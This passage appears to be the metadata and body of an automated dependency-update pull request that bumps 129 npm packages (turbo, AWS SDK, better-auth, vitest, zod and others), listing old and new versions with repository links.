ion":"4.23.15","repository_url":"https://github.com/privatenumber/tsx"},{"name":"@types/node","old_version":"22.20.1","new_version":"22.20.5","repository_url":"https://github.com/DefinitelyTyped/DefinitelyTyped"},{"name":"@types/pg","old_version":"8.20.4","new_version":"8.23.1","repository_url":"https://github.com/DefinitelyTyped/DefinitelyTyped"},{"name":"@types/react","old_version":"19.2.18","new_version":"19.3.0","repository_url":"https://github.com/DefinitelyTyped/DefinitelyTyped"},{"name":"@types/react-dom","old_version":"19.2.4","new_version":"19.3.0","repository_url":"https://github.com/DefinitelyTyped/DefinitelyTyped"},{"name":"drizzle-kit","old_version":"0.31.10","new_version":"0.31.11","repository_url":"https://github.com/drizzle-team/drizzle-orm"},{"name":"happy-dom","old_version":"20.14.5","new_version":"20.14.6","repository_url":"https://github.com/capricorn86/happy-dom"},{"name":"vitest","old_version":"4.1.10","new_version":"4.1.12","repository_url":"https://github.com/vitest-dev/vitest"},{"name":"motion","old_version":"13.0.0","new_version":"13.5.1","repository_url":"https://github.com/motiondivision/motion"},{"name":"posthog-js","old_version":"1.430.3","new_version":"1.438.12","repository_url":"https://github.com/PostHog/posthog-js"},{"name":"eslint-config-next","old_version":"16.3.0","new_version":"16.4.2","repository_url":"https://github.com/vercel/next.js"},{"name":"apify-client","old_version":"2.24.0","new_version":"2.25.0","repository_url":"https://github.com/apify/apify-client-js"},{"name":"@better-auth/prisma-adapter","old_version":"1.6.26","new_version":"1.7.12","repository_url":"https://github.com/better-auth/better-auth"},{"name":"@next/eslint-plugin-next","old_version":"16.3.0","new_version":"16.4.2","repository_url":"https://github.com/vercel/next.js"},{"name":"@alloc/quick-lru","old_version":"5.2.0","new_version":"5.3.0","repository_url":"https://github.com/aleclarson/quick-lru"},{"name":"@apify/consts","old_version":"2.57.0","new_version":"2.58.1","repository_url":"https://github.com/apify/apify-shared-js"},{"name":"@apify/log","old_version":"2.5.48","new_version":"2.5.54","repository_url":"https://github.com/apify/apify-shared-js"},{"name":"@apify/utilities","old_version":"2.35.5","new_version":"2.35.11","repository_url":"https://github.com/apify/apify-shared-js"},{"name":"@aws-sdk/checksums","old_version":"3.1001.2","new_version":"3.1001.5","repository_url":"https://github.com/aws/aws-sdk-js-v3"},{"name":"@aws-sdk/core","old_version":"3.978.2","new_version":"3.978.5","repository_url":"https://github.com/aws/aws-sdk-js-v3"},{"name":"@aws-sdk/credential-provider-env","old_version":"3.972.72","new_version":"3.972.76","repository_url":"https://github.com/aws/aws-sdk-js-v3"},{"name":"@aws-sdk/credential-provider-http","old_version":"3.972.74","new_version":"3.972.78","repository_url":"https://github.com/aws/aws-sdk-js-v3"},{"name":"@aws-sdk/credential-provider-ini","old_version":"3.973.17","new_version":"3.973.21","repository_url":"https://github.com/aws/aws-sdk-js-v3"},{"name":"@aws-sdk/credential-provider-login","old_version":"3.972.79","new_version":"3.972.83","repository_url":"https://github.com/aws/aws-sdk-js-v3"},{"name":"@aws-sdk/credential-provider-node","old_version":"3.972.84","new_version":"3.972.88","repository_url":"https://github.com/aws/aws-sdk-js-v3"},{"name":"@aws-sdk/credential-provider-process","old_version":"3.972.72","new_version":"3.972.76","repository_url":"https://github.com/aws/aws-sdk-js-v3"},{"name":"@aws-sdk/credential-provider-sso","old_version":"3.973.16","new_version":"3.973.20","repository_url":"https://github.com/aws/aws-sdk-js-v3"},{"name":"@aws-sdk/credential-provider-web-identity","old_version":"3.972.78","new_version":"3.972.82","repository_url":"https://github.com/aws/aws-sdk-js-v3"},{"name":"@aws-sdk/middleware-sdk-s3","old_version":"3.972.78","new_version":"3.972.81","repository_url":"https://github.com/aws/aws-sdk-js-v3"},{"name":"@aws-sdk/nested-clients","old_version":"3.997.46","new_version":"3.997.50","repository_url":"https://github.com/aws/aws-sdk-js-v3"},{"name":"@aws-sdk/signature-v4-multi-region","old_version":"3.996.48","new_version":"3.996.49","repository_url":"https://github.com/aws/aws-sdk-js-v3"},{"name":"@aws-sdk/token-providers","old_version":"3.1138.0","new_version":"3.1155.0","repository_url":"https://github.com/aws/aws-sdk-js-v3"},{"name":"@aws-sdk/types","old_version":"3.974.6","new_version":"3.975.0","repository_url":"https://github.com/aws/aws-sdk-js-v3"},{"name":"@babel/helpers","old_version":"7.29.7","new_version":"7.29.10","repository_url":"https://github.com/babel/babel"},{"name":"@babel/runtime","old_version":"7.29.7","new_version":"7.29.10","repository_url":"https://github.com/babel/babel"},{"name":"@babel/traverse","old_version":"7.29.8","new_version":"7.29.10","repository_url":"https://github.com/babel/babel"},{"name":"@better-auth/core","old_version":"1.6.26","new_version":"1.7.12","repository_url":"https://github.com/better-auth/better-auth"},{"name":"@better-auth/kysely-adapter","old_version":"1.6.26","new_version":"1.7.12","repository_url":"https://github.com/better-auth/better-auth"},{"name":"@better-auth/memory-adapter","old_version":"1.6.26","new_version":"1.7.12","repository_url":"https://github.com/better-auth/better-auth"},{"name":"@better-auth/mongo-adapter","old_version":"1.6.26","new_version":"1.7.12","repository_url":"https://github.com/better-auth/better-auth"},{"name":"@better-auth/telemetry","old_version":"1.6.26","new_version":"1.7.12","repository_url":"https://github.com/better-auth/better-auth"},{"name":"@better-auth/utils","old_version":"0.4.2","new_version":"0.5.0","repository_url":"https://github.com/better-auth/utils"},{"name":"@better-fetch/fetch","old_version":"1.3.1","new_version":"1.3.2","repository_url":"https://github.com/better-auth/better-fetch"},{"name":"@crawlee/types","old_version":"3.18.0","new_version":"3.18.2","repository_url":"https://github.com/apify/crawlee"},{"name":"@jridgewell/sourcemap-codec","old_version":"1.5.5","new_version":"1.6.0","repository_url":"https://github.com/jridgewell/sourcemaps"},{"name":"@noble/ciphers","old_version":"2.3.0","new_version":"2.4.0","repository_url":"https://github.com/paulmillr/noble-ciphers"},{"name":"@noble/hashes","old_version":"2.3.0","new_version":"2.4.0","repository_url":"https://github.com/paulmillr/noble-hashes"},{"name":"@peculiar/asn1-android","old_version":"2.10.0","new_version":"2.11.0","repository_url":"https://github.com/PeculiarVentures/asn1-schema"},{"name":"@peculiar/asn1-asym-key","old_version":"2.10.0","new_version":"2.11.0","repository_url":"https://github.com/PeculiarVentures/asn1-schema"},{"name":"@peculiar/asn1-cms","old_version":"2.10.0","new_version":"2.11.0","repository_url":"https://github.com/PeculiarVentures/asn1-schema"},{"name":"@peculiar/asn1-csr","old_version":"2.10.0","new_version":"2.11.0","repository_url":"https://github.com/PeculiarVentures/asn1-schema"},{"name":"@peculiar/asn1-ecc","old_version":"2.10.0","new_version":"2.11.0","repository_url":"https://github.com/PeculiarVentures/asn1-schema"},{"name":"@peculiar/asn1-pfx","old_version":"2.10.0","new_version":"2.11.0","repository_url":"https://github.com/PeculiarVentures/asn1-schema"},{"name":"@peculiar/asn1-pkcs8","old_version":"2.10.0","new_version":"2.11.0","repository_url":"https://github.com/PeculiarVentures/asn1-schema"},{"name":"@peculiar/asn1-pkcs9","old_version":"2.10.0","new_version":"2.11.0","repository_url":"https://github.com/PeculiarVentures/asn1-schema"},{"name":"@peculiar/asn1-rsa","old_version":"2.10.0","new_version":"2.11.0","repository_url":"https://github.com/PeculiarVentures/asn1-schema"},{"name":"@peculiar/asn1-schema","old_version":"2.10.0","new_version":"2.11.0","repository_url":"https://github.com/PeculiarVentures/asn1-schema"},{"name":"@peculiar/asn1-x509","old_version":"2.10.0","new_version":"2.11.0","repository_url":"https://github.com/PeculiarVentures/asn1-schema"},{"name":"@peculiar/asn1-x509-attr","old_version":"2.10.0","new_version":"2.11.0","repository_url":"https://github.com/PeculiarVentures/asn1-schema"},{"name":"@peculiar/asn1-x509-post-quantum","old_version":"2.10.0","new_version":"2.11.0","repository_url":"https://github.com/PeculiarVentures/asn1-schema"},{"name":"@peculiar/x509","old_version":"2.1.0","new_version":"2.2.0","repository_url":"https://github.com/PeculiarVentures/x509"},{"name":"@posthog/browser-common","old_version":"0.8.3","new_version":"0.9.10","repository_url":"https://github.com/PostHog/posthog-js"},{"name":"@posthog/core","old_version":"1.53.2","new_version":"1.60.0","repository_url":"https://github.com/PostHog/posthog-js"},{"name":"@posthog/types","old_version":"1.411.1","new_version":"1.416.0","repository_url":"https://github.com/PostHog/posthog-js"},{"name":"@smithy/core","old_version":"3.35.2","new_version":"3.36.2","repository_url":"https://github.com/smithy-lang/smithy-typescript"},{"name":"@turbo/darwin-64","old_version":"2.10.8","new_version":"2.11.9","repository_url":"https://github.com/vercel/turborepo"},{"name":"@turbo/darwin-arm64","old_version":"2.10.8","new_version":"2.11.9","repository_url":"https://github.com/vercel/turborepo"},{"name":"@turbo/linux-64","old_version":"2.10.8","new_version":"2.11.9","repository_url":"https://github.com/vercel/turborepo"},{"name":"@turbo/linux-arm64","old_version":"2.10.8","new_version":"2.11.9","repository_url":"https://github.com/vercel/turborepo"},{"name":"@turbo/windows-64","old_version":"2.10.8","new_version":"2.11.9","repository_url":"https://github.com/vercel/turborepo"},{"name":"@turbo/windows-arm64","old_version":"2.10.8","new_version":"2.11.9","repository_url":"https://github.com/vercel/turborepo"},{"name":"@vitest/expect","old_version":"4.1.10","new_version":"4.1.12","repository_url":"https://github.com/vitest-dev/vitest"},{"name":"@vitest/pretty-format","old_version":"4.1.10","new_version":"4.1.12","repository_url":"https://github.com/vitest-dev/vitest"},{"name":"@vitest/runner","old_version":"4.1.10","new_version":"4.1.12","repository_url":"https://github.com/vitest-dev/vitest"},{"name":"@vitest/snapshot","old_version":"4.1.10","new_version":"4.1.12","repository_url":"https://github.com/vitest-dev/vitest"},{"name":"@vitest/spy","old_version":"4.1.10","new_version":"4.1.12","repository_url":"https://github.com/vitest-dev/vitest"},{"name":"@vitest/utils","old_version":"4.1.10","new_version":"4.1.12","repository_url":"https://github.com/vitest-dev/vitest"},{"name":"asn1js","old_version":"3.0.10","new_version":"3.1.0","repository_url":"https://github.com/PeculiarVentures/ASN1.js"},{"name":"baseline-browser-mapping","old_version":"2.11.27","new_version":"2.11.31","repository_url":"https://github.com/web-platform-dx/baseline-browser-mapping"},{"name":"better-call","old_version":"1.3.7","new_version":"1.4.4","repository_url":"https://github.com/better-auth/better-call"},{"name":"browserslist","old_version":"4.29.3","new_version":"4.29.4","repository_url":"https://github.com/browserslist/browserslist"},{"name":"caniuse-lite","old_version":"1.0.30001814","new_version":"1.0.30001819","repository_url":"https://github.com/browserslist/caniuse-lite"},{"name":"chai","old_version":"6.2.2","new_version":"6.3.0","repository_url":"https://github.com/chaijs/chai"},{"name":"core-js","old_version":"3.50.0","new_version":"3.51.0","repository_url":"https://github.com/zloirock/core-js"},{"name":"electron-to-chromium","old_version":"1.5.445","new_version":"1.5.463","repository_url":"https://github.com/Kilian/electron-to-chromium"},{"name":"enhanced-resolve","old_version":"5.24.5","new_version":"5.26.0","repository_url":"https://github.com/webpack/enhanced-resolve"},{"name":"es-module-lexer","old_version":"2.3.1","new_version":"2.3.2","repository_url":"https://github.com/guybedford/es-module-lexer"},{"name":"framer-motion","old_version":"13.0.0","new_version":"13.5.1","repository_url":"https://github.com/motiondivision/motion"},{"name":"get-tsconfig","old_version":"4.14.1","new_version":"4.14.3","repository_url":"https://github.com/privatenumber/get-tsconfig"},{"name":"ip-address","old_version":"10.4.0","new_version":"10.7.4","repository_url":"https://github.com/beaugunderson/ip-address"},{"name":"jose","old_version":"6.2.8","new_version":"6.2.13","repository_url":"https://github.com/panva/jose"},{"name":"kysely","old_version":"0.29.4","new_version":"0.29.7","repository_url":"https://github.com/kysely-org/kysely"},{"name":"livekit-client","old_version":"2.22.3","new_version":"2.23.0","repository_url":"https://github.com/livekit/client-sdk-js"},{"name":"motion-dom","old_version":"13.0.0","new_version":"13.5.1","repository_url":"https://github.com/motiondivision/motion"},{"name":"motion-utils","old_version":"13.0.0","new_version":"13.5.0","repository_url":"https://github.com/motiondivision/motion"},{"name":"nanostores","old_version":"1.4.2","new_version":"1.5.5","repository_url":"https://github.com/nanostores/nanostores"},{"name":"napi-postinstall","old_version":"0.3.4","new_version":"0.3.7","repository_url":"https://github.com/un-ts/napi-postinstall"},{"name":"node-releases","old_version":"2.0.57","new_version":"2.0.60","repository_url":"https://github.com/chicoxyzzy/node-releases"},{"name":"obug","old_version":"2.1.4","new_version":"2.2.1","repository_url":"https://github.com/sxzz/obug"},{"name":"pg-cloudflare","old_version":"1.4.0","new_version":"1.4.1","repository_url":"https://github.com/brianc/node-postgres"},{"name":"pg-connection-string","old_version":"2.14.0","new_version":"2.14.1","repository_url":"https://github.com/brianc/node-postgres"},{"name":"pg-protocol","old_version":"1.15.0","new_version":"1.16.1","repository_url":"https://github.com/brianc/node-postgres"},{"name":"postal-mime","old_version":"2.7.5","new_version":"2.7.6","repository_url":"https://github.com/postalsys/postal-mime"},{"name":"rou3","old_version":"0.7.12","new_version":"0.9.2","repository_url":"https://github.com/h3js/rou3"},{"name":"scheduler","old_version":"0.27.0","new_version":"0.28.0","repository_url":"https://github.com/react/react"},{"name":"set-cookie-parser","old_version":"3.1.2","new_version":"3.2.1","repository_url":"https://github.com/nfriedly/set-cookie-parser"},{"name":"socks","old_version":"2.8.9","new_version":"2.8.10","repository_url":"https://github.com/JoshGlazebrook/socks"},{"name":"standardwebhooks","old_version":"1.0.0","new_version":"1.1.1","repository_url":"https://github.com/standard-webhooks/standard-webhooks"},{"name":"std-env","old_version":"4.2.0","new_version":"4.3.0","repository_url":"https://github.com/unjs/std-env"},{"name":"tinyexec","old_version":"1.3.0","new_version":"1.3.1","repository_url":"https://github.com/tinylibs/tinyexec"},{"name":"tinyrainbow","old_version":"3.1.1","new_version":"3.2.0","repository_url":"https://github.com/tinylibs/tinyrainbow"},{"name":"typescript-eslint","old_version":"8.71.1","new_version":"8.72.0","repository_url":"https://github.com/typescript-eslint/typescript-eslint"},{"name":"update-browserslist-db","old_version":"1.3.3","new_version":"1.3.4","repository_url":"https://github.com/browserslist/update-db"},{"name":"@vitest/mocker","old_version":"4.1.10","new_version":"4.1.12","repository_url":"https://github.com/vitest-dev/vitest"},{"name":"web-vitals","old_version":"6.2.1","new_version":"6.2.3","repository_url":"https://github.com/GoogleChrome/web-vitals"},{"name":"zod","old_version":"4.4.3","new_version":"4.6.7","repository_url":"https://github.com/colinhacks/zod"}],"path":null,"ecosystem":"npm"},"body":"Bumps the npm-minor-patch group with 129 updates in the / directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [turbo](https://github.com/vercel/turborepo) | `2.10.8` | `2.11.9` |\n| [@anthropic-ai/sdk](https://github.com/anthropics/anthropic-sdk-typescript) | `0.115.0` | `0.135.0` |\n| [@aws-sdk/client-kms](https://github.com/aws/aws-sdk-js-v3/tree/HEAD/clients/client-kms) | `3.1146.0` | `3.1153.0` |\n| [@aws-sdk/client-s3](https://github.com/aws/aws-sdk-js-v3/tree/HEAD/clients/client-s3) | `3.1146.0` | `3.1153.0` |\n| [@aws-sdk/client-sesv2](https://github.com/aws/aws-sdk-js-v3/tree/HEAD/clients/client-sesv2) | `3.1146.0` | `3.1153.0` |\n| [@better-auth/drizzle-adapter](https://github.com/better-auth/better-auth/tree/HEAD/packages/drizzle-adapter) | `1.6.26` | `1.7.12` |\n| [better-auth](https://github.com/better-auth/better-auth/tree/HEAD/packages/better-auth) | `1.6.26` | `1.7.12` |\n| [drizzle-orm](https://github.com/drizzle-team/drizzle-orm) | `0.45.2` | `0.45.4` |\n| [pg](https://github.com/brianc/node-postgres/tree/HEAD/packages/pg) | `8.22.0` | `8.23.1` |\n| [@types/pg](https://github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/pg) | `8.20.4` | `8.23.1` |\n| [react](https://github.com/react/react/tree/HEAD/packages/react) | `19.2.8` | `19.3.1` |\n| [@types/react](https://github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/react) | `19.2.18` | `19.3.0` |\n| [react-dom](https://github.com/react/react/tree/HEAD/packages/react-dom) | `19.2.8` | `19.3.1` |\n| [@types/react-dom](https://github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/react-dom) | `19.2.4` | `19.3.0` |\n| [resend](https://github.com/resend/resend-node) | `6.26.0` | `6.34.1` |\n| [stripe](https://github.com/stripe/stripe-node) | `22.6.1` | `22.6.2` |\n| [tsx](https://github.com/privatenumber/tsx) | `4.23.12` | `4.23.15` |\n| [@types/node](https://github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node) | `22.20.1` | `22.20.5` |\n| [@types/pg](https://github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/pg) | `8.20.4` | `8.23.1` |\n| [@types/react](https://github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/react) | `19.2.18` | `19.3.0` |\n| [@types/react-dom](https://github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/react-dom) | `19.2.4` | `19.3.0` |\n| [drizzle-kit](https://github.com/drizzle-team/drizzle-orm) | `0.31.10` | `0.31.11` |\n| [happy-dom](https://github.com/capricorn86/happy-dom) | `20.14.5` | `20.14.6` |\n| [vitest](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest) | `4.1.10` | `4.1.12` |\n| [motion](https://github.com/motiondivision/motion) | `13.0.0` | `13.5.1` |\n| [posthog-js](https://github.com/PostHog/posthog-js) | `1.430.3` | `1.438.12` |\n| [eslint-config-next](https://github.com/vercel/next.js/tree/HEAD/packages/eslint-config-next) | `16.3.0` | `16.4.2` |\n| [apify-client](https://github.com/apify/apify-client-js) | `2.24.0` | `2.25.0` |\n| [@better-auth/prisma-adapter](https://github.com/better-auth/better-auth/tree/HEAD/packages/prisma-adapter) | `1.6.26` | `1.7.12` |\n| [@next/eslint-plugin-next](https://github.com/vercel/next.js/tree/HEAD/packages/eslint-plugin-next) | `16.3.0` | `16.4.2` |\n| [@alloc/quick-lru](https://github.com/aleclarson/quick-lru) | `5.2.0` | `5.3.0` |\n| [@apify/consts](https://github.com/apify/apify-shared-js) | `2.57.0` | `2.58.1` |\n| [@apify/log](https://github.com/apify/apify-shared-js) | `2.5.48` | `2.5.54` |\n| [@apify/utilities](https://github.com/apify/apify-shared-js) | `2.35.5` | `2.35.11` |\n| [@aws-sdk/checksums](https://github.com/aws/aws-sdk-js-v3/tree/HEAD/packages-internal/checksums) | `3.1001.2` | `3.1001.5` |\n| [@aws-sdk/core](https://github.com/aws/aws-sdk-js-v3/tree/HEAD/packages-internal/core) | `3.978.2` | `3.978.5` |\n| [@aws-sdk/credential-provider-env](https://github.com/aws/aws-sdk-js-v3/tree/HEAD/packages-internal/credential-provider-env) | `3.972.72` | `3.972.76` |\n| [@aws-sdk/credential-provider-http](https://github.com/aws/aws-sdk-js-v3/tree/HEAD/packages-internal/credential-provider-http) | `3.972.74` | `3.972.78` |\n| [@aws-sdk/credential-provider-ini](https://github.com/aws/aws-sdk-js-v3/tree/HEAD/packages-internal/credential-provider-ini) | `3.973.17` | `3.973.21` |\n| [@aws-sdk/credential-provider-login](https://github.com/aws/aws-sdk-js-v3/tree/HEAD/packages-internal/credential-provider-login) | `3.972.79` | `3.972.83` |\n| [@aws-sdk/credential-provider-node](https://github.com/aws/aws-sdk-js-v3/tree/HEAD/packages-internal/credential-provider-node) | `3.972.84` | `3.972.88` |\n| [@aws-sdk/credential-provider-process](https://github.com/aws/aws-sdk-js-v3/tree/HEAD/packages-internal/credential-provider-process) | `3.972.72` | `3.972.76` |\n| [@aws-sdk/credential-provider-sso](https://github.com/aws/aws-sdk-js-v3/tree/HEAD/packages-internal/credential-provider-sso) | `3.973.16` | `3.973.20` |\n| [@aws-sdk/credential-provider-web-identity](https://github.com/aws/aws-sdk-js-v3/tree/HEAD/packages-internal/credential-provider-web-identity) | `3.972.78` | `3.972.82` |\n| [@aws-sdk/middleware-sdk-s3](https://github.com/aws/aws-sdk-js-v3/tree/HEAD/packages-internal/middleware-sdk-s3) | `3.972.78` | `3.972.81` |\n| [@aws-sdk/nested-clients](https://github.com/aws/aws-sdk-js-v3/tree/HEAD/packages/nested-clients) | `3.997.46` | `3.997.50` |\n| [@aws-sdk/signature-v4-multi-region](https://github.com/aws/aws-sdk-js-v3/tree/HEAD/packages/signature-v4-multi-region) | `3.996.48` | `3.996.49` |\n| [@aws-sdk/token-providers](https://github.com/aws/aws-sdk-js-v3/tree/HEAD/packages/token-providers) | `3.1138.0` | `3.1155.0` |\n| [@aws-sdk/types](https://github.com/aws/aws-sdk-js-v3/tree/HEAD/packages-internal/types) | `3.974.6` | `3.975.0` |\n| [@babel/helpers](https://github.com/babel/babel/tree/HEAD/packages/babel-helpers) | `7.29.7` | `7.29.10` |\n| [@babel/runtime](https://github.com/babel/babel/tree/HEAD/packages/babel-runtime) | `7.29.7` | `7.29.10` |\n| [@babel/traverse](https://github.com/babel/babel/tree/HEAD/packages/babel-traverse) | `7.29.8` | `7.29.10` |\n| [@better-auth/core](https://github.com/better-auth/better-auth/tree/HEAD/packages/core) | `1.6.26` | `1.7.12` |\n| [@better-auth/kysely-adapter](https://github.com/better-auth/better-auth/tree/HEAD/packages/kysely-adapter) | `1.6.26` | `1.7.12` |\n| [@better-auth/memory-adapter](https://github.com/better-auth/better-auth/tree/HEAD/packages/memory-adapter) | `1.6.26` | `1.7.12` |\n| [@better-auth/mongo-adapter](https://github.com/better-auth/better-auth/tree/HEAD/packages/mongo-adapter) | `1.6.26` | `1.7.12` |\n| [@better-auth/telemetry](https://github.com/better-auth/better-auth/tree/HEAD/packages/telemetry) | `1.6.26` | `1.7.12` |\n| [@better-auth/utils](https://github.com/better-auth/utils) | `0.4.2` | `0.5.0` |\n| [@better-fetch/fetch](https://github.com/better-auth/better-fetch/tree/HEAD/packages/better-fetch) | `1.3.1` | `1.3.2` |\n| [@crawlee/types](https://github.com/apify/crawlee) | `3.18.0` | `3.18.2` |\n| [@jridgewell/sourcemap-codec](https://github.com/jridgewell/sourcemaps/tree/HEAD/packages/sourcemap-codec) | `1.5.5` | `1.6.0` |\n| [@noble/ciphers](https://github.com/paulmillr/noble-ciphers) | `2.3.0` | `2.4.0` |\n| [@noble/hashes](https://github.com/paulmillr/noble-hashes) | `2.3.0` | `2.4.0` |\n| [@peculiar/asn1-android](https://github.com/PeculiarVentures/asn1-schema/tree/HEAD/packages/android) | `2.10.0` | `2.11.0` |\n| [@peculiar/asn1-asym-key](https://github.com/PeculiarVentures/asn1-schema/tree/HEAD/packages/asym-key) | `2.10.0` | `2.11.0` |\n| [@peculiar/asn1-cms](https://github.com/PeculiarVentures/asn1-schema/tree/HEAD/packages/cms) | `2.10.0` | `2.11.0` |\n| [@peculiar/asn1-csr](https://github.com/PeculiarVentures/asn1-schema/tree/HEAD/packages/csr) | `2.10.0` | `2.11.0` |\n| [@peculiar/asn1-ecc](https://github.com/PeculiarVentures/asn1-schema/tree/HEAD/packages/ecc) | `2.10.0` | `2.11.0` |\n| [@peculiar/asn1-pfx](https://github.com/PeculiarVentures/asn1-schema/tree/HEAD/packages/pfx) | `2.10.0` | `2.11.0` |\n| [@peculiar/asn1-pkcs8](https://github.com/PeculiarVentures/asn1-schema/tree/HEAD/packages/pkcs8) | `2.10.0` | `2.11.0` |\n| [@peculiar/asn1-pkcs9](https://github.com/PeculiarVentures/asn1-schema/tree/HEAD/packages/pkcs9) | `2.10.0` | `2.11.0` |\n| [@peculiar/asn1-rsa](https://github.com/PeculiarVentures/asn1-schema/tree/HEAD/packages/rsa) | `2.10.0` | `2.11.0` |\n| [@peculiar/asn1-schema](https://github.com/PeculiarVentures/asn1-schema/tree/HEAD/packages/schema) | `2.10.0` | `2.11.0` |\n| [@peculiar/asn1-x509](https://github.com/PeculiarVentures/asn1-schema/tree/HEAD/packages/x509) | `2.10.0` | `2.11.0` |\n| [@peculiar/asn1-x509-attr](https://github.com/PeculiarVentures/asn1-schema/tree/HEAD/packages/x509-attr) | `2.10.0` | `2.11.0` |\n| [@peculiar/asn1-x509-post-quantum](https://github.com/PeculiarVentures/asn1-schema/tree/HEAD/packages/x509-post-quantum) | `2.10.0` | `2.11.0` |\n| [@peculiar/x509](https://github.com/PeculiarVentures/x509) | `2.1.0` | `2.2.0` |\n| [@posthog/browser-common](https://github.com/PostHog/posthog-js/tree/HEAD/packages/browser-common) | `0.8.3` | `0.9.10` |\n| [@posthog/core](https://github.com/PostHog/posthog-js/tree/HEAD/packages/core) | `1.53.2` | `1.60.0` |\n| [@posthog/types](https://github.com/PostHog/posthog-js/tree/HEAD/packages/types) | `1.411.1` | `1.416.0` |\n| [@smithy/core](https://github.com/smithy-lang/smithy-typescript/tree/HEAD/packages/core) | `3.35.2` | `3.36.2` |\n| [@turbo/darwin-64](https://github.com/vercel/turborepo) | `2.10.8` | `2.11.9` |\n| [@turbo/darwin-arm64](https://github.com/vercel/turborepo) | `2.10.8` | `2.11.9` |\n| [@turbo/linux-64](https://github.com/vercel/turborepo) | `2.10.8` | `2.11.9` |\n| [@turbo/linux-arm64](https://github.com/vercel/turborepo) | `2.10.8` | `2.11.9` |\n| [@turbo/windows-64](https://github.com/vercel/turborepo) | `2.10.8` | `2.11.9` |\n| [@turbo/windows-arm64](https://github.com/vercel/turborepo) | `2.10.8` | `2.11.9` |\n| [@vitest/expect](https://github.com/vitest-dev/vitest/tree/HEAD/packages/expect) | `4.1.10` | `4.1.12` |\n| [@vitest/pretty-format](https://github.com/vitest-dev/vitest/tree/HEAD/packages/pretty-format) | `4.1.10` | `4.1.12` |\n| [@vitest/runner](https://github.com/vitest-dev/vitest/tree/HEAD/packages/runner) | `4.1.10` | `4.1.12` |\n| [@vitest/snapshot](https://github.com/vitest-dev/vitest/tree/HEAD/packages/snapshot) | `4.1.10` | `4.1.12` |\n| [@vitest/spy](https://github.com/vitest-dev/vitest/tree/HEAD/packages/spy) | `4.1.10` | `4.1.12` |\n| [@vitest/utils](https://github.com/vitest-dev/vitest/tree/HEAD/packages/utils) | `4.1.10` | `4.1.12` |\n| [asn1js](https://github.com/PeculiarVentures/ASN1.js) | `3.0.10` | `3.1.0` |\n| [baseline-browser-mapping](https://github.com/web-platform-dx/baseline-browser-mapping) | `2.11.27` | `2.11.31` |\n| [better-call](https://github.com/better-auth/better-call/tree/HEAD/packages/better-call) | `1.3.7` | `1.4.4` |\n| [browserslist](https://github.com/browserslist/browserslist) | `4.29.3` | `4.29.4` |\n| [caniuse-lite](https://github.com/browserslist/caniuse-lite) | `1.0.30001814` | `1.0.30001819` |\n| [chai](https://github.com/chaijs/chai) | `6.2.2` | `6.3.0` |\n| [core-js](https://github.com/zloirock/core-js/tree/HEAD/packages/core-js) | `3.50.0` | `3.51.0` |\n| [electron-to-chromium](https://github.com/Kilian/electron-to-chromium) | `1.5.445` | `1.5.463` |\n| [enhanced-resolve](https://github.com/webpack/enhanced-resolve) | `5.24.5` | `5.26.0` |\n| [es-module-lexer](https://github.com/guybedford/es-module-lexer) | `2.3.1` | `2.3.2` |\n| [framer-motion](https://github.com/motiondivision/motion) | `13.0.0` | `13.5.1` |\n| [get-tsconfig](https://github.com/privatenumber/get-tsconfig) | `4.14.1` | `4.14.3` |\n| [ip-address](https://github.com/beaugunderson/ip-address) | `10.4.0` | `10.7.4` |\n| [jose](https://github.com/panva/jose) | `6.2.8` | `6.2.13` |\n| [kysely](https://github.com/kysely-org/kysely) | `0.29.4` | `0.29.7` |\n| [livekit-client](https://github.com/livekit/client-sdk-js) | `2.22.3` | `2.23.0` |\n| [motion-dom](https://github.com/motiondivision/motion) | `13.0.0` | `13.5.1` |\n| [motion-utils](https://github.com/motiondivision/motion) | `13.0.0` | `13.5.0` |\n| [nanostores](https://github.com/nanostores/nanostores) | `1.4.2` | `1.5.5` |\n| [napi-postinstall](https://github.com/un-ts/napi-postinstall) | `0.3.4` | `0.3.7` |\n| [node-releases](https://github.com/chicoxyzzy/node-releases) | `2.0.57` | `2.0.60` |\n| [obug](https://github.com/sxzz/obug) | `2.1.4` | `2.2.1` |\n| [pg-cloudflare](https://github.com/brianc/node-postgres/tree/HEAD/packages/pg-cloudflare) | `1.4.0` | `1.4.1` |\n| [pg-connection-string](https://github.com/brianc/node-postgres/tree/HEAD/packages/pg-connection-string) | `2.14.0` | `2.14.1` |\n| [pg-protocol](https://github.com/brianc/node-postgres/tree/HEAD/packages/pg-protocol) | `1.15.0` | `1.16.1` |\n| [postal-mime](https://github.com/postalsys/postal-mime) | `2.7.5` | `2.7.6` |\n| [rou3](https://github.com/h3js/rou3) | `0.7.12` | `0.9.2` |\n| [scheduler](https://github.com/react/react/tree/HEAD/packages/scheduler) | `0.27.0` | `0.28.0` |\n| [set-cookie-parser](https://github.com/nfriedly/set-cookie-parser) | `3.1.2` | `3.2.1` |\n| [socks](https://github.com/JoshGlazebrook/socks) | `2.8.9` | `2.8.10` |\n| [standardwebhooks](https://github.com/standard-webhooks/standard-webhooks) | `1.0.0` | `1.1.1` |\n| [std-env](https://github.com/unjs/std-env) | `4.2.0` | `4.3.0` |\n| [tinyexec](https://github.com/tinylibs/tinyexec) | `1.3.0` | `1.3.1` |\n| [tinyrainbow](https://github.com/tinylibs/tinyrainbow) | `3.1.1` | `3.2.0` |\n| [typescript-eslint](https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/typescript-eslint) | `8.71.1` | `8.72.0` |\n| [update-browserslist-db](https://github.com/browserslist/update-db) | `1.3.3` | `1.3.4` |\n| [@vitest/mocker](https://github.com/vitest-dev/vitest/tree/HEAD/packages/mocker) | `4.1.10` | `4.1.12` |\n| [web-vitals](https://github.com/GoogleChrome/web-vitals) | `6.2.1` | `6.2.3` |\n| [zod](https://github.com/colinhacks/zod) | `4.4.3` | `4.6.7` |\n\n\nUpdates `turbo` from 2.10.8 to 2.11.9\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca 